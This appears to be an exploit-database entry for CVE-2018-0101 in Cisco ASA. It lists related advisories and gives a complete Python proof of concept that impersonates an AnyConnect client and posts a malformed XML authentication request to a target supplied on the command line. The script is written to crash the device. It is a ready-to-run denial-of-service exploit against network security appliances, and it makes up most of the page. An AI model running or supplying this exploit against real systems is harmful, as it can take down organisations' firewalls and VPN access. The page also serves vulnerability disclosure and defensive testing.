Cisco ASA - Crash (PoC)

🗓️ 07 Feb 2018 00:00:00Reported by Sean DillonType

exploitpack👁 53 Views

Cisco ASA Crash PoC exploit using CVE-2018-010

Reporter	Title	Published	Views	Family All 30
0day.today	Cisco ASA - Crash PoC Exploit	7 Feb 201800:00	–	zdt
ATTACKERKB	CVE-2018-0101	29 Jan 201820:29	–	attackerkb
BDU FSTEC	The vulnerability of the VPN Secure Sockets Layer (SSL) function of the microprogramming network interface device in Cisco Adaptive Security Appliance (ASA) allows a hacker to execute arbitrary code and gain full control over the system.	9 Feb 201800:00	–	bdu_fstec
Circl	CVE-2018-0101	31 Jan 201817:52	–	circl
Cisco	Cisco Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability	29 Jan 201817:00	–	cisco
Tenable Nessus	Cisco Firepower Threat Defense (FTD) Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)	6 Feb 201800:00	–	nessus
Tenable Nessus	Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)	30 Jan 201800:00	–	nessus
Tenable Nessus	Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check)	26 Feb 201800:00	–	nessus
CNVD	Cisco Adaptive Security Appliance Remote Code Execution Vulnerability	31 Jan 201800:00	–	cnvd
Check Point Advisories	Cisco Adaptive Security Appliance Remote Code Execution (CVE-2018-0101)	1 Feb 201800:00	–	checkpoint_advisories

#
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#

import requests, sys

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'

xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""

r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,
allow_redirects=False)

print(r.status_code)
print(r.headers)
print(r.text)

07 Feb 2018 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.92835